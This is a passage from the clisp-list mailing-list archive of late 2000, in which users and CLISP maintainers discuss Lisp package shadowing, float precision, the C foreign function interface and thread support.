  --------------4A92B5C9B762C8A213240BD8-- From nathan@froyd3.laptop.rose-hulman.edu Tue Nov 28 20:25:49 2000 Received: from froyd3.laptop.rose-hulman.edu (froyd3.laptop.rose-hulman.edu [137.112.206.69]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAT4Plu29284 for ; Tue, 28 Nov 2000 20:25:47 -0800 Received: (from nathan@localhost) by froyd3.laptop.rose-hulman.edu (8.9.3/8.9.3) id XAA03326 for clisp-list@lists.sourceforge.net; Tue, 28 Nov 2000 23:24:06 -0500 Date: Tue, 28 Nov 2000 23:24:06 -0500 From: Nathan Froyd To: clisp-list@lists.sourceforge.net Message-ID: <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us X-Operating-System: Linux 2.2.12 [RedHat 6.1] Subject: [clisp-list] Package question (possible bug?) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I am still experimenting with the `trees' pacakge from CMU as well as Franz's free `htmlgen.cl' and had some questions resolving packages and the read-eval-print loop. In `htmlgen.cl', the DEFPACKAGE form looks like: (defpackage :net.html.generator (:export #:html #:html-print #:html-print-list #:html-stream #:*html-stream*)) which is pretty understandable. In the `rbtrees-package.lisp' file from the `trees' pacakge, the DEFPACKAGE looks like: (defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "TREES") (:nicknames "RB-TREES" "RBT") (:export make-red-black-tree tree-p size element-type name empty-p search insert traverse minimum maximum successor predecessor delete-by-key select element-rank empty-error duplicate-key version) (:shadow make-tree tree-p name empty-p insert delete-by-key empty-error version) (:shadowing-import-from "TREES" search)) (slightly cleaned up). `binary-trees-package.lisp' contains: (defpackage "TREES" (:use "COMMON-LISP") (:export make-tree tree-p size element-type name empty-p search insert traverse minimum maximum successor predecessor delete-by-key empty-error duplicate-key) (:shadow search)) My questions are as follows: 1) In the repl, I can type (use-package :net. and get the proper completion (after loading the file, of course). Whereas with the other form, I type (use-package :red- and get nothing. Why the difference? 2) When loading the appropriate files and typing the following: (use-package :trees) I get a name conflict with the symbol SEARCH. Why is this? Doesn't the DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current package? The same symptoms occur with: (use-package :rbt) only with more symbols. Does :SHADOW not work? 3) Not really a CLISP question; more a package question. What does the (:USE "COMMON-LISP") declaration do? `htmlgen.cl' doesn't use it and it works fine. This is with CLISP 2000-03-09 (clisp --version), although the source tarball untarred into the directory clisp-2000-09-02. As a side note, is the nightly snapshot site (ftp://cellar.goems.com/pub/clisp/) down? I can't seem to access it. Thanks for all the help! -- froydnj@rose-hulman.edu | http://www.rose-hulman.edu/~froydnj/ Yes, God had a deadline. So He wrote it all in Lisp. From sds@gnu.org Wed Nov 29 08:02:37 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eATG2Yu05684 for ; Wed, 29 Nov 2000 08:02:37 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA01575; Wed, 29 Nov 2000 11:02:29 -0500 (EST) X-Envelope-To: To: Nathan Froyd Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Package question (possible bug?) References: <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Nathan Froyd's message of "Tue, 28 Nov 2000 23:24:06 -0500" Date: 29 Nov 2000 11:01:20 -0500 Message-ID: Lines: 65 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> > * On the subject of "[clisp-list] Package question (possible bug?)" > * Sent on Tue, 28 Nov 2000 23:24:06 -0500 > * Honorable Nathan Froyd writes: > > 1) In the repl, I can type > > (use-package :net. > > and get the proper completion (after loading the file, of course). > Whereas with the other form, I type > > (use-package :red- > > and get nothing. Why the difference? you might have more than 1 package starting with "red-". what happens when you hit TAB twice? (this is the same behavior as with bash - both use readline) > 2) When loading the appropriate files and typing the following: > > (use-package :trees) > > I get a name conflict with the symbol SEARCH. Why is this? Doesn't the > DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current > package? The same symptoms occur with: > > (use-package :rbt) > > only with more symbols. Does :SHADOW not work? use `shadowing-import'. `search' comes to TREES from COMMON-LISP. I will leave the details to comp.lang.lisp or Bruno, if he has time, but I suggest that you read CLHS on `defpackage', `shadow' and `package-shadowing-symbols'. > 3) Not really a CLISP question; more a package question. What does the > (:USE "COMMON-LISP") declaration do? `htmlgen.cl' doesn't use it and it > works fine. in most lisps, COMMON-LISP and LISP are the same, but in CLISP they are different (COMMON-LISP is for ANSI, LISP - for CLtL1), although, I hope, not for long. > This is with CLISP 2000-03-09 (clisp --version), although the source > tarball untarred into the directory clisp-2000-09-02. this is _strange_. where did you get the tarball?! > As a side note, is the nightly snapshot site > (ftp://cellar.goems.com/pub/clisp/) down? I can't seem to access it. yes, it is dead, and, probably, for good. I am investigating my options. If you have a linux box and can give me ssh access to it, it would be greatly appreciated... -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Microsoft: announce yesterday, code today, think tomorrow. From nathan@froyd3.laptop.rose-hulman.edu Wed Nov 29 10:15:33 2000 Received: from froyd3.laptop.rose-hulman.edu (froyd3.laptop.rose-hulman.edu [137.112.206.69]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eATIFSu15430 for ; Wed, 29 Nov 2000 10:15:31 -0800 Received: (from nathan@localhost) by froyd3.laptop.rose-hulman.edu (8.9.3/8.9.3) id NAA03808; Wed, 29 Nov 2000 13:13:33 -0500 Date: Wed, 29 Nov 2000 13:13:33 -0500 From: Nathan Froyd To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Package question (possible bug?) Message-ID: <20001129131333.F1974@froyd3.laptop.rose-hulman.edu> References: <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: X-Operating-System: Linux 2.2.12 [RedHat 6.1] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On Wed, Nov 29, 2000 at 11:01:20AM -0500, Sam Steingold wrote: > you might have more than 1 package starting with "red-". > what happens when you hit TAB twice? > (this is the same behavior as with bash - both use readline) I don't have multiple packages that start with "red-". Nothing happens after hitting TAB twice. > use `shadowing-import'. > > `search' comes to TREES from COMMON-LISP. > I will leave the details to comp.lang.lisp or Bruno, if he has time, but > I suggest that you read CLHS on `defpackage', `shadow' and > `package-shadowing-symbols'. Ugh. :) It would seem to me that :SHADOW would do what you seem to indicate :SHADOWING-IMPORT does... (I haven't read the CLHS yet) > > 3) Not really a CLISP question; more a package question. What does the > > (:USE "COMMON-LISP") declaration do? `htmlgen.cl' doesn't use it and it > > works fine. > > in most lisps, COMMON-LISP and LISP are the same, but in CLISP they are > different (COMMON-LISP is for ANSI, LISP - for CLtL1), although, I hope, > not for long. But why the difference? I think the `trees' package horks if the (:USE "COMMON-LISP") is not present. Not sure, though. > > This is with CLISP 2000-03-09 (clisp --version), although the source > > tarball untarred into the directory clisp-2000-09-02. > > this is _strange_. where did you get the tarball?! From the nightly snapshot site. Tarball clisp-2000-09-02.tgz. > > As a side note, is the nightly snapshot site > > (ftp://cellar.goems.com/pub/clisp/) down? I can't seem to access it. > > yes, it is dead, and, probably, for good. > > I am investigating my options. > If you have a linux box and can give me ssh access to it, it would be > greatly appreciated... I do, but I'm not sure if the connection speed would be up to snuff... -- froydnj@rose-hulman.edu | http://www.rose-hulman.edu/~froydnj/ Yes, God had a deadline. So He wrote it all in Lisp. From haible@ilog.fr Fri Dec 1 19:58:43 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB23wgu20510 for ; Fri, 1 Dec 2000 19:58:43 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id EAA27723; Sat, 2 Dec 2000 04:54:09 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.96]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id EAA26453; Sat, 2 Dec 2000 04:58:24 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id EAA21370; Sat, 2 Dec 2000 04:58:33 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14888.29545.340157.38023@honolulu.ilog.fr> Date: Sat, 2 Dec 2000 04:58:33 +0100 (CET) To: Nathan Froyd Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Package question (possible bug?) In-Reply-To: <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> References: <20001128232406.E1974@froyd3.laptop.rose-hulman.edu> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Nathan Froyd writes: > In `htmlgen.cl', the DEFPACKAGE form looks like: > > (defpackage :net.html.generator ... > which is pretty understandable. In the `rbtrees-package.lisp' file from > the `trees' pacakge, the DEFPACKAGE looks like: > > (defpackage "RED-BLACK-TREES" ... > > My questions are as follows: > > 1) In the repl, I can type > > (use-package :net. > > and get the proper completion (after loading the file, of course). > Whereas with the other form, I type > > (use-package :red- > > and get nothing. Why the difference? Because :red- is asking for the completion of a keyword startting with "RED-". The first defpackage form created an (otherwise useless) keyword, the second form didn't. > 2) When loading the appropriate files and typing the following: > > (use-package :trees) > > I get a name conflict with the symbol SEARCH. Why is this? Doesn't the > DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current > package? The (:shadow search) in package TREES resolves the conflict for the package TREES. The (:shadowing-import-from "TREES" search) resolves the conflict for the package RED-BLACK-TREES. But you still get a conflict in every other package that wants to use-package TREES. One way to resolve this is something like (defmacro trees:use-trees-package () `(progn (shadowing-import 'trees:search *package*) (use-package #:trees *package*))) and then use (trees:use-trees-package) instead of (use-package :trees) > 3) Not really a CLISP question; more a package question. What does the > (:USE "COMMON-LISP") declaration do? It requests CLtL2/ANSI CL semantics from the implementation. If you don't write it, some implementations (like CLISP) use "LISP" and thus offer CLtL1 semantics where CLtL1 and CLtL2 differ. Bruno From nathan@froyd3.laptop.rose-hulman.edu Mon Dec 4 18:45:44 2000 Received: from froyd3.laptop.rose-hulman.edu (froyd3.laptop.rose-hulman.edu [137.112.206.69]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB52jdu22713 for ; Mon, 4 Dec 2000 18:45:42 -0800 Received: (from nathan@localhost) by froyd3.laptop.rose-hulman.edu (8.9.3/8.9.3) id VAA08783 for clisp-list@lists.sourceforge.net; Mon, 4 Dec 2000 21:43:21 -0500 Date: Mon, 4 Dec 2000 21:43:21 -0500 From: Nathan Froyd To: clisp-list@lists.sourceforge.net Message-ID: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us X-Operating-System: Linux 2.2.12 [RedHat 6.1] Subject: [clisp-list] floating point question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I'm trying to write a lisp function to do my homework for me (aren't we all?). It's reprinted below (along with support): (setf *warn-on-floating-point-contagion* nil) (defvar *tolerance* 0.000000001) (defun close-enough-p (x actual) (> *tolerance* (abs (- actual x)))) (defun fixed-point (func x) (declare (double-float x)) (let ((iterations 1)) (flet ((next-x (z) (funcall func z))) (labels ((xloop (z) (let ((new-z (next-x z))) (if (close-enough-p (funcall func new-z) 0) (values new-z iterations) (progn (incf iterations) (print (float new-z)) (xloop new-z)))))) (xloop x))))) Perhaps my style is bad. Anyway, the problem I have is that CLISP only seems to want to do 7 decimal place precision; I would like something more like 12 or so. Is there any way to tell CLISP that I would like things done with something other than SHORT-FLOAT (which is what I assume it's using)? This is on Linux x86. Thanks! -- froydnj@rose-hulman.edu | http://www.rose-hulman.edu/~froydnj/ Yes, God had a deadline. So He wrote it all in Lisp. From Randy.Justice@cnet.navy.mil Tue Dec 5 06:12:25 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5ECOu01733 for ; Tue, 5 Dec 2000 06:12:24 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA05641 for ; Tue, 5 Dec 2000 08:12:10 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 08:15:39 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Tue, 5 Dec 2000 08:15:33 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05EC5.D759EF1C" Subject: [clisp-list] C/C++ Interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05EC5.D759EF1C Content-Type: text/plain; charset="iso-8859-1" Does Lisp have hooks for C/C++ functions? Randy Justice ------_=_NextPart_001_01C05EC5.D759EF1C Content-Type: text/html; charset="iso-8859-1" C/C++ Interface

Does Lisp have hooks for C/C++ functions?


Randy Justice

------_=_NextPart_001_01C05EC5.D759EF1C-- From haible@ilog.fr Tue Dec 5 06:58:22 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5EwLu05560 for ; Tue, 5 Dec 2000 06:58:21 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA09329; Tue, 5 Dec 2000 15:53:46 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.227]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA12952; Tue, 5 Dec 2000 15:58:02 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA12883; Tue, 5 Dec 2000 15:58:00 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14893.623.91776.241784@honolulu.ilog.fr> Date: Tue, 5 Dec 2000 15:57:51 +0100 (CET) To: Nathan Froyd Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point question In-Reply-To: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> References: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Nathan Froyd writes: > Anyway, the problem I have is that CLISP only > seems to want to do 7 decimal place precision; I would like something > more like 12 or so. 7 decimal places, that's the precision of SINGLE-FLOAT. 16 decimal places, is DOUBLE-FLOAT, and for more (unlimited), you have LONG-FLOAT. > Is there any way to tell CLISP that I would like things done with > something other than SHORT-FLOAT (which is what I assume it's using)? SHORT-FLOAT is even shorter: 5 decimal places. All you need to do is to give the initial values in double-float, like 2.718d0, or set *read-default-float-format* to DOUBLE-FLOAT. Bruno From haible@ilog.fr Tue Dec 5 07:01:00 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5F0wu05759 for ; Tue, 5 Dec 2000 07:00:58 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA09369; Tue, 5 Dec 2000 15:55:28 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.227]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA13224; Tue, 5 Dec 2000 15:59:45 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA12899; Tue, 5 Dec 2000 15:59:44 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14893.736.426695.702685@honolulu.ilog.fr> Date: Tue, 5 Dec 2000 15:59:44 +0100 (CET) To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C/C++ Interface In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Justice, Randy -CONT writes: > > Does Lisp have hooks for C/C++ functions? For C functions, yes. See section "Foreign function interface" in the impnotes. For C++ functions, no, unless you declare them extern "C". Bruno From Randy.Justice@cnet.navy.mil Tue Dec 5 07:03:01 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5F2wu05930 for ; Tue, 5 Dec 2000 07:02:58 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA08080; Tue, 5 Dec 2000 09:02:11 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 09:05:40 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'Bruno Haible'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] C/C++ Interface Date: Tue, 5 Dec 2000 09:05:34 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05ECC.D451CC66" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05ECC.D451CC66 Content-Type: text/plain; charset="iso-8859-1" Thank You Randy -----Original Message----- From: Bruno Haible [mailto:haible@ilog.fr] Sent: Tuesday, December 05, 2000 9:00 AM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C/C++ Interface Justice, Randy -CONT writes: > > Does Lisp have hooks for C/C++ functions? For C functions, yes. See section "Foreign function interface" in the impnotes. For C++ functions, no, unless you declare them extern "C". Bruno ------_=_NextPart_001_01C05ECC.D451CC66 Content-Type: text/html; charset="iso-8859-1" RE: [clisp-list] C/C++ Interface

Thank You

Randy


-----Original Message-----
From: Bruno Haible [mailto:haible@ilog.fr]
Sent: Tuesday, December 05, 2000 9:00 AM
To: Justice, Randy -CONT
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] C/C++ Interface


Justice, Randy -CONT writes:
>
> Does Lisp have hooks for C/C++ functions?

For C functions, yes. See section "Foreign function interface" in the
impnotes.

For C++ functions, no, unless you declare them extern "C".

Bruno

------_=_NextPart_001_01C05ECC.D451CC66-- From sds@gnu.org Tue Dec 5 07:25:25 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5FPPu07852 for ; Tue, 5 Dec 2000 07:25:25 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA27316; Tue, 5 Dec 2000 10:25:19 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C/C++ Interface References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: "Justice, Randy -CONT"'s message of "Tue, 5 Dec 2000 08:15:33 -0600" Date: 05 Dec 2000 10:24:07 -0500 Message-ID: Lines: 16 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] C/C++ Interface" > * Sent on Tue, 5 Dec 2000 08:15:33 -0600 > * Honorable "Justice, Randy -CONT" writes: > > Does Lisp have hooks for C/C++ functions? You probably mean FFI - please see the appropriate section in the implementation notes (available on the homepage http://clisp.cons.org and with the source distribution, see impnotes.html or impnotes.xml) as well as code samples in the modules directory. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Save your burned out bulbs for me, I'm building my own dark room. From sds@gnu.org Tue Dec 5 07:35:06 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB5FZ5u08654 for ; Tue, 5 Dec 2000 07:35:05 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA29396; Tue, 5 Dec 2000 10:35:03 -0500 (EST) X-Envelope-To: To: Nathan Froyd Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point question References: <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Nathan Froyd's message of "Mon, 4 Dec 2000 21:43:21 -0500" Date: 05 Dec 2000 10:33:50 -0500 Message-ID: Lines: 59 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <20001204214321.F8327@froyd3.laptop.rose-hulman.edu> > * On the subject of "[clisp-list] floating point question" > * Sent on Mon, 4 Dec 2000 21:43:21 -0500 > * Honorable Nathan Froyd writes: > > (setf *warn-on-floating-point-contagion* nil) this is a grave mistake. floating point contagion should be avoided so this warning should be on! > (defvar *tolerance* 0.000000001) this is a single float. please read the CLISP impnotes 12.1.4.4 (and the same section in CLHS - the impnotes is an annotation to CLHS!). CLHS 2.3.2.2 would also be _very_ useful. > (defun close-enough-p (x actual) > (> *tolerance* (abs (- actual x)))) > > (defun fixed-point (func x) > (declare (double-float x)) > (let ((iterations 1)) > (flet ((next-x (z) (funcall func z))) you don't need this `flet', IMO. > (labels ((xloop (z) > (let ((new-z (next-x z))) > (if (close-enough-p (funcall func new-z) if you have the `flet', why not use it here too?! > 0) > (values new-z iterations) > (progn > (incf iterations) > (print (float new-z)) > (xloop new-z)))))) > (xloop x))))) > > Perhaps my style is bad. it's a little but schemish. An ANSI CL is not required to eliminate tail-recursion, so an explicit iteration would be better, especially since it is not much harder to write. (I have something similar in CLLIB/math.lisp). > Anyway, the problem I have is that CLISP only seems to want to do 7 > decimal place precision; I would like something more like 12 or so. > Is there any way to tell CLISP that I would like things done with > something other than SHORT-FLOAT (which is what I assume it's using)? > This is on Linux x86. you should look at *READ-DEFAULT-FLOAT-FORMAT*. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Cannot handle the fatal error due to a fatal error in the fatal error handler. From chl@tbit.dk Tue Dec 5 23:33:21 2000 Received: from mailhost.tbit.dk (IDENT:root@mailhostnew.tbit.dk [194.182.135.150]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB67XEu20341 for ; Tue, 5 Dec 2000 23:33:16 -0800 Received: from chl.ted.dk.eu.ericsson.se (IDENT:root@mailhost.tbit.dk [194.182.135.150]) by mailhost.tbit.dk (8.9.3/8.9.3) with ESMTP id IAA18055; Wed, 6 Dec 2000 08:33:00 +0100 Received: by tbit.dk via sendmail from stdin id (Debian Smail3.2.0.111) for clisp-list@lists.sourceforge.net; Wed, 6 Dec 2000 08:34:16 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Christian Lynbech Date: 06 Dec 2000 08:34:16 +0100 Message-ID: Lines: 18 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] threads Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I would like to know if there are any plans to work on the thread support in CLISP. As far as I can tell from the current thread stuff, some basic support is there but nothing is exported to the lisp level. How difficult will it be to be able to do some experiments? Real posix threads may be tough, but would it be easier to enable some sort of cooporative threading ala schemes call/cc? ------------------------+----------------------------------------------------- Christian Lynbech | Ericsson Telebit, Skanderborgvej 232, DK-8260 Viby J Phone: +45 8938 5244 | email: chl@tbit.dk Fax: +45 8938 5101 | web: www.ericsson.com ------------------------+----------------------------------------------------- Hit the philistines three times over the head with the Elisp reference manual. - petonic@hal.com (Michael A. Petonic) From sds@gnu.org Wed Dec 6 09:54:16 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB6HsFu26712 for ; Wed, 6 Dec 2000 09:54:15 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA26867; Wed, 6 Dec 2000 12:54:09 -0500 (EST) X-Envelope-To: To: Christian Lynbech Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] threads References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Christian Lynbech's message of "06 Dec 2000 08:34:16 +0100" Date: 06 Dec 2000 12:52:46 -0500 Message-ID: Lines: 21 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] threads" > * Sent on 06 Dec 2000 08:34:16 +0100 > * Honorable Christian Lynbech writes: > > I would like to know if there are any plans to work on the thread > support in CLISP. are you volunteering? :-) > As far as I can tell from the current thread stuff, some basic > support is there but nothing is exported to the lisp level. true. Gilbert Baumann claimed that he could do some switching on the lisp level a couple of years ago, but it never got polished enough to be included into the main source tree. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! nobody's life, liberty or property are safe while the legislature is in session From sds@gnu.org Wed Dec 6 10:42:27 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eB6IgQu30790 for ; Wed, 6 Dec 2000 10:42:27 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA07122; Wed, 6 Dec 2000 13:42:23 -0500 (EST) X-Envelope-To: To: clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 06 Dec 2000 13:41:00 -0500 Message-ID: Lines: 